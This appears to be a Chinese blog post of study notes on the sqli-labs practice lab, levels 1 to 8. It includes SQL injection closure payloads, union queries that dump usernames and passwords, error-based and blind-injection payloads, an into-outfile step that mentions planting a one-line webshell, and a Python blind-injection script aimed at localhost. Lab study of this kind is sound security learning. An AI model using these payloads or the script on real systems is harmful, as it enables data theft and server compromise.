「安全笔记」 sqli-labs 从注入到删库

「安全笔记」 sqli-labs 从注入到删库

资源介绍参数
资源类别: 代码笔记
如遇问题: 联系客服/留言反馈
释放双眼,带上耳机,听听看~!
前言:为了更好的学习,可以在sql语句下面插入这句话。echo "your sql statement is ".$sql."
";这样可以在网页里看到你的sql查询语句。手注基本步骤、引导闭合语句...

前言

为了更好的学习,可以在sql语句下面插入这句话。

echo "your sql statement is ".$sql."<br>";

这样可以在网页里看到你的sql查询语句。

手注基本步骤、引导闭合语句:

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换,url 提交过程中 Url 编码后的#为%23
or或and判断 判断是否存在注入
or 1=1 不报错 or 1=2 报错
and 1=1 不报错 and 1=2 报错

然后用order by 来判断字段数,可以用对分查找快速排查
最后在显示位上替换要查找的信息即可

Less-1

?id=1' and 1=1--+ #正常
?id=1' and 1=2--+ #错误 存在注入
?id=1' and order by 4--+ #错误
?id=1' and order by 3--+ #正常 判断有三个字段
?id=1' union select 1,2,3--+ #找到2,3显示位
?id=1' union select 1.2,database()--+ #查找当前数据库名称 
?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ #查找所有数据库
?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #查询数据库下的数据表
?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #查询数据表下的字段
?id=0%27 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+ #查询password和username字段

Less-2-4

?id=1 (数值型)
?id=1′)
?id=1")

less-5

基于报错的sql注入

?id=1' and extractvalue(1,concat(0x5c,database()));

详细可以参考这里
从这一关开始,就发现自己菜的真真实实。

「安全笔记」 sqli-labs 从注入到删库

less-6

?id=1" 报错注入

less-7

导出文件,需要满足几个条件
1.root权限
2.绝对路径
?id=1')) UNION SELECT 1,2,3 into outfile "文件的绝对路径"
可以一条条导入,也可以导入一句话木马菜刀连接

less-8

布尔盲注,常用函数

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
?id=1' and length(database())=8--+ //手注要一个个猜解,猜中了返回正常,猜错了不正常。
?id=1' and ascii(substr(database(),1,1))>97 //通过ascii猜database第一个字符,返回正常就猜一个更大的,然后用对分查找快速排查

附一个py脚本,第一次写脚本,我怎么这么菜=,写的不好,轻喷(而且未完成,未优化)

import requests
import sys

url = "http://localhost/sqli-labs-master/Less-8/?id=1"
chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!@#$%^&*()'

def get_DBname_len():
    print("Start to get DBname len....")
    DBname_len= 0
    global url
    url_template = url+"' and length(database())={0}%23"
    for i in range(20):
        newUrl=url_template.format(i)
        res = requests.get(newUrl)
        if 'You' in res.text:
            DBname_len=i
            print("DBName length is: n", DBname_len)
            break
    return DBname_len
def get_DBname():
    print("Start to retrieve database name...")
    DBname = ""
    url_template = url + "' and ascii(substr(database(),{0},1))={1}%23"
    max = get_DBname_len()+1
    print("DBName is:")
    for i in range(1,max):
        for j in chars:
            newUrl =url_template.format(i,ord(j))
            res = requests.get(newUrl)
            if 'You' in res.text:
                sys.stdout.write(j)
                sys.stdout.flush()
                DBname = DBname+j
                break
def get_Table_Num():
    print("nStart to retrieve database number")
    num=0
    url_template=url+"' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
    for i in range(1,20):
        newUrl = url_template.format(i)
        res = requests.get(newUrl)
        if 'You' in res.text:
            num=i
            break
    print("table number is:",num)
    return num
def get_Tables_len():
    url_template = url+"' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}%23"
    tables_len=[]
    for i in range(5):
        for j in range(1,20):
            newUrl = url_template.format(i,j)
            res = requests.get(newUrl)
            if 'You' in res.text:
                tables_len.append(j)
                break
    return tables_len
def get_Table_Name():
    print("nStart to get Table name")
    presentName=''
    tables_len=get_Tables_len()
    presentNameLen=0
    max_num = int(get_Table_Num())+1
    url_template= url+"' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2}%23"
    for i in range(max_num):
        for j in range(20):
            for k in chars:
                newUrl =url_template.format(i,j,ord(k))
                res = requests.get(newUrl)
                if 'You' in res.text:
                    sys.stdout.write(k)
                    sys.stdout.flush()
                    presentNameLen+=1
                    break
            if presentNameLen==tables_len[i]:
                presentNameLen=0
                sys.stdout.write('n')
                break
    print("End of search",end='')
get_Table_Num()
get_DBname()
get_Table_Name()
声明:本文为原创作品,版权归作者所有。未经许可,不得转载或用于任何商业用途。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。

给TA打赏
共{{data.count}}人
人已打赏
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧